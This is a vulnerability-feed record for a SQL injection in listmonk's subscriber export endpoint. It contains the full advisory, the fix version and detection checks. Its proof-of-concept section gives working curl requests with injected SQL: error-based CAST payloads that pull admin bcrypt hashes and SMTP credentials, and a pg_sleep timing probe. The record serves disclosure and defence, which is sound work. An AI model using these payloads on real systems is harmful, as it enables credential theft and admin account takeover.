{"id":"CVE-2026-62361","kind":"vulnerability","aliases":["CVE-2026-62361","GHSA-xgjr-7j9q-2h4r"],"related":[],"title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` — protected path (regular query):**\n\n```go\n// QuerySubscribers — table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n        fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` — vulnerable path (export):**\n\n```go\n// ExportSubscribers — NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt)  // executes directly without restriction\n```\n\n**`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != 'blocklisted') AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 — Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 400: {\"message\":\"Error preparing subscriber query: table 'users' is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 — Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 — Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 — Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds — confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk's security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.","summary":"The subscriber export endpoint in listmonk skips the table access check that the regular subscriber query applies, so an authenticated user can run injected SQL against tables like users and settings. An attacker with that permission can read admin bcrypt hashes and SMTP credentials, and possibly write data through PostgreSQL data-modifying CTEs.","severity":"medium","cvss":5.5,"epss":0.00297,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/knadh/listmonk","fixed":["1.1.1-0.20260619102436-c0a6525009a6"],"affected":"< 1.1.1-0.20260619102436-c0a6525009a6","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-89","go","listmonk","package","postgresql","self-hosted"],"not_affected_if":["auth-required","default-config"],"how_to_check":"- Check the listmonk version in use against the Go module `github.com/knadh/listmonk` and confirm it is at or beyond `1.1.1-0.20260619102436-c0a6525009a6`.\n- Review which roles hold the `subscribers:sql_query` permission and whether `subscribers:get_all` is also granted.\n- Look for requests to `/api/subscribers/export` with a `query` parameter in web server or application logs.","fix":"- listmonk: `1.1.1-0.20260619102436-c0a6525009a6`","status":"open","published_at":"2026-07-15T21:16:55+00:00","first_seen_at":"2026-11-06T18:16:16+00:00","triaged_at":"2026-11-06T18:18:05+00:00","updated_at":"2026-11-06T18:44:09+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-06T18:18:05Z","model":"claude-haiku-5-5","output":{"fix":"- listmonk: `1.1.1-0.20260619102436-c0a6525009a6`","reach":"network","title":"listmonk: subscriber export SQL injection leaks admin password hashes and SMTP credentials","impact":"high","summary":"The subscriber export endpoint in listmonk skips the table access check that the regular subscriber query applies, so an authenticated user can run injected SQL against tables like users and settings. An attacker with that permission can read admin bcrypt hashes and SMTP credentials, and possibly write data through PostgreSQL data-modifying CTEs.","audience":"businesses","category":"package","nicknames":[],"who_cares":["listmonk","go","postgresql","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Admin password hashes and SMTP credentials are readable, enabling account takeover.","analyst_note":"","how_to_check":"- Check the listmonk version in use against the Go module `github.com/knadh/listmonk` and confirm it is at or beyond `1.1.1-0.20260619102436-c0a6525009a6`.\n- Review which roles hold the `subscribers:sql_query` permission and whether `subscribers:get_all` is also granted.\n- Look for requests to `/api/subscribers/export` with a `query` parameter in web server or application logs.","plain_action":"","needs_analyst":false,"not_affected_if":["auth-required","default-config"],"who_is_affected":"Teams running listmonk where users hold the subscribers:sql_query permission can reach the export endpoint and read tables the regular query endpoint blocks. Exposure depends on who has that permission and whether the instance is reachable by those users. Instances where only fully trusted admins have the permission are at lower risk but should still update.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000977,"input_tokens":6513,"output_tokens":651,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'+0':481C,531C '+1':400C,404C,435C,439C,478C,528C '-2026':18A,26A '-62361':19A,27A '-89':32B '/api/subscribers':126C,207C '/api/subscribers/export':5A,101C,223C '/knadh/listmonk':30A '0':262C '06':501C '1':379C '2':457C '200':449C '25':553C '2a':500C '2h4r':24A '3':504C '4':559C '400':414C '6':175C '7j9q':23A '9000/api/subscribers':397C '9000/api/subscribers/ex':570C '9000/api/subscribers/export':432C,470C,516C 'accept':185C 'access':8A,49B,116C,213C 'account':178C 'admin':11A,78B,177C,463C 'allow':102C,424C 'allowedsubqueryt':257C 'also':355C 'api':143C 'appli':56B 'arbitrari':129C 'asc':323C 'asymmetr':230C 'attack':72B 'authent':59B,104C,367C 'base':148C,152C,460C,507C,562C 'bash':389C,466C,512C,565C 'bcrypt':79B,136C,171C 'beyond':360C 'blind':563C 'block':212C,383C,390C 'blocklist':317C 'bypass':6A,113C,231C,382C,425C 'c.db':255C 'c.db.preparex':288C 'c.q.querysubscribersforexport':283C 'c.q.querysubscriberstpl':249C 'call':209C,226C 'cast':472C,518C 'check':50B 'claus':303C 'cond':251C,285C 'confirm':156C,380C,564C 'control':9A,117C,189C,236C 'cooki':409C,444C,483C,533C 'correct':208C 'cost':173C 'crack':172C 'creat':160C,228C 'credenti':16A,83B,142C,511C 'ctes':93B,345C 'curl':394C,429C,467C,513C,567C 'cve':17A,25A 'cwe':31B 'data':87B,91B,348C 'data-modifi':90B,347C 'databas':133C 'detail':180C 'direct':195C,291C 'dri':339C 'dry-run':338C 'echo.newhttperror':263C 'enabl':357C,554C 'endpoint':43B,124C,205C,221C,393C,428C 'entir':227C 'err':253C,258C,271C,287C 'error':147C,266C,416C,455C,459C,490C,506C,540C 'error-bas':146C,458C,505C 'escal':163C 'execut':218C,290C,356C 'exfiltr':153C,169C,364C,461C,508C 'exist':119C 'export':42B,220C,275C,327C,388C,427C 'exportsubscrib':277C 'factor':174C 'featur':184C 'fetch':491C,541C 'fmt.sprintf':265C 'get':100C,125C,206C,222C,375C 'ghsa':21A 'ghsa-xgjr-7j9q-2h4r':20A 'github.com':29A 'github.com/knadh/listmonk':28A 'go':33B,242C,276C 'h':408C,443C,482C,532C 'hash':13A,80B,138C,168C,465C 'host':39B,550C 'http':413C,448C 'http.statusbadrequest':264C 'includ':134C 'inject':3A,63B,97C,194C,299C 'input':495C,545C 'insid':332C 'integ':480C,499C,530C,549C 'intent':234C 'internal/core/subscribers.go':237C,272C 'invalid':494C,544C 'join':311C 'json':488C,538C 'key':144C,525C 'leak':10A 'left':310C 'like':67B 'limit':324C,403C,438C,477C,527C 'list':313C 'listmonk':1A,34B,45B 'messag':415C,489C,539C 'modifi':92B,349C 'nil':259C,261C 'null':407C,442C 'offlin':170C 'omit':224C 'open':386C 'oper':359C 'order':320C 'packag':35B 'paramet':191C 'password':12A,137C,464C,474C,556C 'path':164C,239C,274C,328C 'permiss':75B,111C,377C 'placehold':297C 'poc':365C 'port':552C 'possibl':85B 'postgresql':36B,89B,344C 'pq':493C,543C 'prepar':267C,417C 'prerequisit':366C 'present':246C 'privileg':162C 'protect':238C 'queri':55B,110C,123C,167C,183C,190C,204C,241C,250C,269C,284C,296C,319C,372C,385C,398C,419C,433C,471C,517C 'queries/subscribers.sql':294C 'querysubscrib':243C,343C 'read':77B,128C,362C 'read-on':361C 'readon':334C 'regular':53B,122C,203C,240C,392C 'respons':487C,537C 'restrict':293C 'return':260C,353C,450C 'row':452C 'run':62B,331C,340C 'secur':235C 'select':305C,399C,434C,473C,519C 'self':38B 'self-host':37B 'sensit':215C 'session':368C,410C,411C,445C,446C,484C,485C,534C,535C 'set':70B,140C,523C 'skip':46B 'smtp':15A,82B,141C,510C,526C 'smtp.yoursite.com':551C 'sql':2A,64B,96C,109C,166C,198C,304C,371C 'statement':350C 'step':378C,456C,503C,558C 'stmt':247C,256C,281C,289C 'strings.replaceall':201C,248C,282C 'subscrib':41B,54B,108C,165C,182C,268C,309C,312C,370C,374C,418C,451C,492C,542C 'subscribers.email':307C 'subscribers.id':306C,322C 'subscribers.status':316C 'summari':94C 'super':176C 'syntax':496C,546C 'tabl':7A,48B,66B,115C,130C,216C,244C,279C,420C 'takeov':179C 'target':396C,431C,469C,515C,569C 'techniqu':154C 'templat':199C 'text':521C 'time':151C,561C,566C 'time-bas':150C,560C 'token':412C,447C,486C,536C 'transact':335C 'true':555C 'tx':286C 'type':498C,548C 'unlik':336C 'updat':352C 'use':341C 'user':60B,68B,105C,135C,188C,402C,421C,437C,476C 'user-control':187C 'usernam':557C 'v':270C 'valid':245C,280C 'validatequeryt':210C,254C 'valu':520C 'vi8n66ejwwcqdms5d47up.tmbyusxrf13sw8efth8tcymqvlx2cn':502C 'via':200C 'vulner':98C,273C 'without':292C 'work':158C 'write':86B,358C 'xgjr':22A","nicknames":[],"mitigations":[],"who_affected":"Teams running listmonk where users hold the subscribers:sql_query permission can reach the export endpoint and read tables the regular query endpoint blocks. Exposure depends on who has that permission and whether the instance is reachable by those users. Instances where only fully trusted admins have the permission are at lower risk but should still update.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomknadhlistmonk"],"ptokens":["com","github","knadh","listmonk"],"labels":["cwe89","go","listmonk","medium","package","postgresql","selfhosted"],"campaign_type":null,"search_a":"'-2026':18A,26A '-62361':19A,27A '/api/subscribers/export':5A '/knadh/listmonk':30A '2h4r':24A '7j9q':23A 'access':8A 'admin':11A 'bypass':6A 'control':9A 'credenti':16A 'cve':17A,25A 'ghsa':21A 'ghsa-xgjr-7j9q-2h4r':20A 'github.com':29A 'github.com/knadh/listmonk':28A 'hash':13A 'inject':3A 'leak':10A 'listmonk':1A 'password':12A 'smtp':15A 'sql':2A 'tabl':7A 'xgjr':22A","search_b":"'-89':32B 'access':49B 'admin':78B 'appli':56B 'attack':72B 'authent':59B 'bcrypt':79B 'check':50B 'credenti':83B 'ctes':93B 'cwe':31B 'data':87B,91B 'data-modifi':90B 'endpoint':43B 'export':42B 'go':33B 'hash':80B 'host':39B 'inject':63B 'like':67B 'listmonk':34B,45B 'modifi':92B 'packag':35B 'permiss':75B 'possibl':85B 'postgresql':36B,89B 'queri':55B 'read':77B 'regular':53B 'run':62B 'self':38B 'self-host':37B 'set':70B 'skip':46B 'smtp':82B 'sql':64B 'subscrib':41B,54B 'tabl':48B,66B 'user':60B,68B 'write':86B","search_c":"'+0':481C,531C '+1':400C,404C,435C,439C,478C,528C '/api/subscribers':126C,207C '/api/subscribers/export':101C,223C '0':262C '06':501C '1':379C '2':457C '200':449C '25':553C '2a':500C '3':504C '4':559C '400':414C '6':175C '9000/api/subscribers':397C '9000/api/subscribers/ex':570C '9000/api/subscribers/export':432C,470C,516C 'accept':185C 'access':116C,213C 'account':178C 'admin':177C,463C 'allow':102C,424C 'allowedsubqueryt':257C 'also':355C 'api':143C 'arbitrari':129C 'asc':323C 'asymmetr':230C 'authent':104C,367C 'base':148C,152C,460C,507C,562C 'bash':389C,466C,512C,565C 'bcrypt':136C,171C 'beyond':360C 'blind':563C 'block':212C,383C,390C 'blocklist':317C 'bypass':113C,231C,382C,425C 'c.db':255C 'c.db.preparex':288C 'c.q.querysubscribersforexport':283C 'c.q.querysubscriberstpl':249C 'call':209C,226C 'cast':472C,518C 'claus':303C 'cond':251C,285C 'confirm':156C,380C,564C 'control':117C,189C,236C 'cooki':409C,444C,483C,533C 'correct':208C 'cost':173C 'crack':172C 'creat':160C,228C 'credenti':142C,511C 'ctes':345C 'curl':394C,429C,467C,513C,567C 'data':348C 'data-modifi':347C 'databas':133C 'detail':180C 'direct':195C,291C 'dri':339C 'dry-run':338C 'echo.newhttperror':263C 'enabl':357C,554C 'endpoint':124C,205C,221C,393C,428C 'entir':227C 'err':253C,258C,271C,287C 'error':147C,266C,416C,455C,459C,490C,506C,540C 'error-bas':146C,458C,505C 'escal':163C 'execut':218C,290C,356C 'exfiltr':153C,169C,364C,461C,508C 'exist':119C 'export':220C,275C,327C,388C,427C 'exportsubscrib':277C 'factor':174C 'featur':184C 'fetch':491C,541C 'fmt.sprintf':265C 'get':100C,125C,206C,222C,375C 'go':242C,276C 'h':408C,443C,482C,532C 'hash':138C,168C,465C 'host':550C 'http':413C,448C 'http.statusbadrequest':264C 'includ':134C 'inject':97C,194C,299C 'input':495C,545C 'insid':332C 'integ':480C,499C,530C,549C 'intent':234C 'internal/core/subscribers.go':237C,272C 'invalid':494C,544C 'join':311C 'json':488C,538C 'key':144C,525C 'left':310C 'limit':324C,403C,438C,477C,527C 'list':313C 'messag':415C,489C,539C 'modifi':349C 'nil':259C,261C 'null':407C,442C 'offlin':170C 'omit':224C 'open':386C 'oper':359C 'order':320C 'paramet':191C 'password':137C,464C,474C,556C 'path':164C,239C,274C,328C 'permiss':111C,377C 'placehold':297C 'poc':365C 'port':552C 'postgresql':344C 'pq':493C,543C 'prepar':267C,417C 'prerequisit':366C 'present':246C 'privileg':162C 'protect':238C 'queri':110C,123C,167C,183C,190C,204C,241C,250C,269C,284C,296C,319C,372C,385C,398C,419C,433C,471C,517C 'queries/subscribers.sql':294C 'querysubscrib':243C,343C 'read':128C,362C 'read-on':361C 'readon':334C 'regular':122C,203C,240C,392C 'respons':487C,537C 'restrict':293C 'return':260C,353C,450C 'row':452C 'run':331C,340C 'secur':235C 'select':305C,399C,434C,473C,519C 'sensit':215C 'session':368C,410C,411C,445C,446C,484C,485C,534C,535C 'set':140C,523C 'smtp':141C,510C,526C 'smtp.yoursite.com':551C 'sql':96C,109C,166C,198C,304C,371C 'statement':350C 'step':378C,456C,503C,558C 'stmt':247C,256C,281C,289C 'strings.replaceall':201C,248C,282C 'subscrib':108C,165C,182C,268C,309C,312C,370C,374C,418C,451C,492C,542C 'subscribers.email':307C 'subscribers.id':306C,322C 'subscribers.status':316C 'summari':94C 'super':176C 'syntax':496C,546C 'tabl':115C,130C,216C,244C,279C,420C 'takeov':179C 'target':396C,431C,469C,515C,569C 'techniqu':154C 'templat':199C 'text':521C 'time':151C,561C,566C 'time-bas':150C,560C 'token':412C,447C,486C,536C 'transact':335C 'true':555C 'tx':286C 'type':498C,548C 'unlik':336C 'updat':352C 'use':341C 'user':105C,135C,188C,402C,421C,437C,476C 'user-control':187C 'usernam':557C 'v':270C 'valid':245C,280C 'validatequeryt':210C,254C 'valu':520C 'vi8n66ejwwcqdms5d47up.tmbyusxrf13sw8efth8tcymqvlx2cn':502C 'via':200C 'vulner':98C,273C 'without':292C 'work':158C 'write':358C","first_public_at":"2026-06-26T10:36:18+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-xgjr-7j9q-2h4r","url":"https://github.com/advisories/GHSA-xgjr-7j9q-2h4r","severity":"medium","published_at":"2026-11-06T18:15:17+00:00","modified_at":"2026-11-06T18:15:18+00:00","first_seen_at":"2026-11-06T18:16:16+00:00","fetched_at":"2026-11-06T18:31:37+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-62361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62361","severity":null,"published_at":"2026-07-15T21:16:55+00:00","modified_at":"2026-10-24T21:10:00+00:00","first_seen_at":"2026-11-06T18:44:09+00:00","fetched_at":"2026-11-06T18:44:09+00:00","note":null}],"documents":[{"id":88589,"url":"https://api.github.com/repos/knadh/listmonk/security-advisories/GHSA-xgjr-7j9q-2h4r","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":88590,"url":"https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-26T10:36:18+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":88591,"url":"https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":88592,"url":"https://github.com/knadh/listmonk/releases/tag/v6.2.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"exploit_sources":[{"type":"epss","score":0.00297,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62361"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}